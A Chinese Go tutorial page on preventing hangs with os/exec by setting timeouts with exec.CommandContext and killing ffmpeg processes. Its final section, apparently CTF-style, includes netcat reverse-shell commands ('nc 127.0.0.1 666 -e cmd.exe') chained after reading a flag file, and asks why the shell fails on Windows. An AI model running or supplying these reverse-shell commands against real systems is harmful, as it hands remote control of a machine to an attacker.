Go的os/exec執(zhí)行超時(shí)導(dǎo)致程序死機(jī)的解決方案
1.cmd執(zhí)行命令
先看一個(gè)簡(jiǎn)單的命令執(zhí)行代碼
import (
"fmt"
"os/exec"
)
func main() {
cmd := exec.Command("cmd", "/c", "dir C:\\Users\\ASUS\\Desktop\\新建文件夾")
output, err := cmd.Output()
if err != nil {
fmt.Println(err)
fmt.Println(" command failed:", string(output))
}
fmt.Println(" command success:", string(output))
}
執(zhí)行輸出結(jié)果,代碼沒(méi)問(wèn)題,但出現(xiàn)命令執(zhí)行超時(shí),提前返回的結(jié)果,有時(shí)會(huì)卡住程序,這是我們可以用exec.CommandContext函數(shù)來(lái)設(shè)置一個(gè)超時(shí)時(shí)間
2.CommandContext設(shè)置超時(shí)
下面代碼時(shí)用ffmpeg獲取視頻時(shí)間的操作,這是一個(gè)很需要時(shí)間的命令
func GetMP4Duration(filePath string) (int, error) {
// 構(gòu)建 FFmpeg 命令
ctx, cancel := context.WithTimeout(context.Background(), 70*time.Second)
defer cancel()
cmd := exec.CommandContext(ctx, pojo.ResultDir+"\\bin\\ffmpeg.exe", "-i", filePath, "-f", "null", "NUL")
// 執(zhí)行命令并捕獲輸出
output, err := cmd.CombinedOutput()
if err != nil {
return 0, err
}
// 解析輸出以獲取時(shí)長(zhǎng)
durationStr := extractDuration(string(output))
if durationStr == "" {
return 0, fmt.Errorf("Failed to extract duration from FFmpeg output")
}
// 將時(shí)長(zhǎng)字符串轉(zhuǎn)換為秒數(shù)
duration, err := parseDuration(durationStr)
if err != nil {
return 0, err
}
return int(duration), nil
}
這只是一個(gè)設(shè)置超時(shí)時(shí)間程序
3.程序繼續(xù)死機(jī)
當(dāng)我以為這樣就可以萬(wàn)事大局時(shí),但是還是發(fā)生的死機(jī),這時(shí)時(shí)需要調(diào)用系統(tǒng)命令去結(jié)束。
下面cmd.Process.Signal(syscall.SIGINT)是windows上調(diào)用
func GetMP4Duration(filePath string) (int, error) {
// 構(gòu)建 FFmpeg 命令
ctx, cancel := context.WithTimeout(context.Background(), 70*time.Second)
defer cancel()
cmd := exec.CommandContext(ctx, pojo.ResultDir+"\\bin\\ffmpeg.exe", "-i", filePath, "-f", "null", "NUL")
go func() {
<-ctx.Done()
if ctx.Err() == context.DeadlineExceeded {
fmt.Println("Context done due to timeout. Killing process...")
cmd.Process.Signal(syscall.SIGINT)
//或者cmd.Process.Kill()
}
}()
// 執(zhí)行命令并捕獲輸出
output, err := cmd.CombinedOutput()
if err != nil {
return 0, err
}
// 解析輸出以獲取時(shí)長(zhǎng)
durationStr := extractDuration(string(output))
if durationStr == "" {
return 0, fmt.Errorf("Failed to extract duration from FFmpeg output")
}
// 將時(shí)長(zhǎng)字符串轉(zhuǎn)換為秒數(shù)
duration, err := parseDuration(durationStr)
if err != nil {
return 0, err
}
return int(duration), nil
}
這樣確保程序出現(xiàn)錯(cuò)誤時(shí),不會(huì)卡死。
4. 當(dāng)我們給出反彈sh時(shí),超時(shí)會(huì)不會(huì)導(dǎo)致sh失效
go執(zhí)行多條命令的寫(xiě)法,當(dāng)我使用上面的寫(xiě)法不會(huì)執(zhí)行多條命令
cmd := exec.CommandContext(ctx, "cmd", "/c", "type E:\\flag.txt && echo 'hello'")
func shtest() {
//nc -lvp 777
//nc 127.0.0.1 777 -e c:\windows\system32\cmd.exe
//ffmpeg -i F:\測(cè)試專用\視頻\065.mp4 |nc 127.0.01 -f null NUL
// filePath := `F:\測(cè)試專用\視頻\065.mp4`
ctx, cancel := context.WithTimeout(context.Background(), 20*time.Second)
defer cancel()
//-threads 5 -preset veryfast
//ffmpeg -i "1.成都“不用咬全靠吸”的蹄花,裹滿辣椒水太滿足了(Av1052272125,P1).mp4" -threads 5 -preset veryfast -f null null
//ffmpeg -i "1.成都“不用咬全靠吸”的蹄花,裹滿辣椒水太滿足了(Av1052272125,P1).mp4" -threads 5 -preset veryfast -f null null
// "echo 'hello' && echo 'hi'" type E:\\flag.txt
//cmd := exec.CommandContext(ctx, "ffmpeg", "-i", filePath, "-f", "null", "NUL & echo 'hello' && echo 'hi'")
//cmd := exec.CommandContext(ctx, "cmd", "/c", "type E:\\flag.txt && echo 'hello'")
cmd := exec.CommandContext(ctx, "cmd", "/c", "type E:\\flag.txt && nc 127.0.0.1 666 -e cmd.exe")
sr := ""
for _, v := range cmd.Args {
sr += v + " "
}
fmt.Println(sr)
go func() {
<-ctx.Done()
if ctx.Err() == context.DeadlineExceeded {
fmt.Println("Context done due to timeout. Killing process...")
cmd.Process.Signal(syscall.SIGINT)
}
}()
// 執(zhí)行命令并捕獲輸出
output, err := cmd.CombinedOutput()
fmt.Println(string(output))
if err != nil {
fmt.Println(err)
}
fmt.Println("5555555555")
}
但是我sh沒(méi)傳出去,已經(jīng)把出戰(zhàn)和入站流量打開(kāi)。到點(diǎn)還是超時(shí),有誰(shuí)知道windows的sh到底怎么還可以怎么傳


以上就是Go的os/exec執(zhí)行超時(shí)導(dǎo)致程序死機(jī)的解決方案的詳細(xì)內(nèi)容,更多關(guān)于Go os/exec執(zhí)行超時(shí)導(dǎo)致死機(jī)的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
goland遠(yuǎn)程調(diào)試k8s上容器的實(shí)現(xiàn)
本文主要介紹了goland遠(yuǎn)程調(diào)試k8s上容器的實(shí)現(xiàn),文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2023-02-02
golang之判斷元素是否在數(shù)組內(nèi)問(wèn)題
這篇文章主要介紹了golang之判斷元素是否在數(shù)組內(nèi)問(wèn)題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2020-12-12
Go channel發(fā)送方和接收方如何相互阻塞等待源碼解讀
這篇文章主要為大家介紹了Go channel發(fā)送方和接收方如何相互阻塞等待源碼解讀,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2023-12-12
十個(gè)Golang開(kāi)發(fā)中應(yīng)該避免的錯(cuò)誤總結(jié)
Go是一種靜態(tài)類型的、并發(fā)的、垃圾收集的編程語(yǔ)言,由谷歌開(kāi)發(fā)。開(kāi)發(fā)人員在編寫(xiě)Go代碼時(shí)總會(huì)有一些常見(jiàn)的錯(cuò)誤,下面是Go語(yǔ)言中需要避免的十大壞錯(cuò)誤,希望對(duì)大家有所幫助2023-03-03
Golang設(shè)計(jì)模式之生成器模式講解和代碼示例
生成器是一種創(chuàng)建型設(shè)計(jì)模式,使你能夠分步驟創(chuàng)建復(fù)雜對(duì)象,與其他創(chuàng)建型模式不同,生成器不要求產(chǎn)品擁有通用接口,這使得用相同的創(chuàng)建過(guò)程生成不同的產(chǎn)品成為可能,本文就通過(guò)代碼示例為大家詳細(xì)介紹Golang生成器模式,感興趣的同學(xué)可以參考下2023-06-06
golang文件內(nèi)容覆蓋問(wèn)題的分析及解決
通過(guò)golang讀取數(shù)據(jù)庫(kù)站點(diǎn)映射配置,生成nginx conf文件,并檢查和重啟nginx服務(wù),已達(dá)到站點(diǎn)自動(dòng)化部署目的,當(dāng)目標(biāo)文件中內(nèi)容很長(zhǎng),而寫(xiě)入的內(nèi)容很短時(shí),目標(biāo)文件內(nèi)容無(wú)法完全覆蓋,本文給大家介紹了解決方法,需要的朋友可以參考下2024-01-01
Go語(yǔ)言中一些不常見(jiàn)的命令參數(shù)詳解
這篇文章主要給大家介紹了關(guān)于Go語(yǔ)言中一些不常見(jiàn)的命令參數(shù)的相關(guān)資料,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧。2017-12-12
golang環(huán)形隊(duì)列實(shí)現(xiàn)代碼示例
這篇文章主要介紹了golang環(huán)形隊(duì)列實(shí)現(xiàn)代碼示例,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2019-11-11

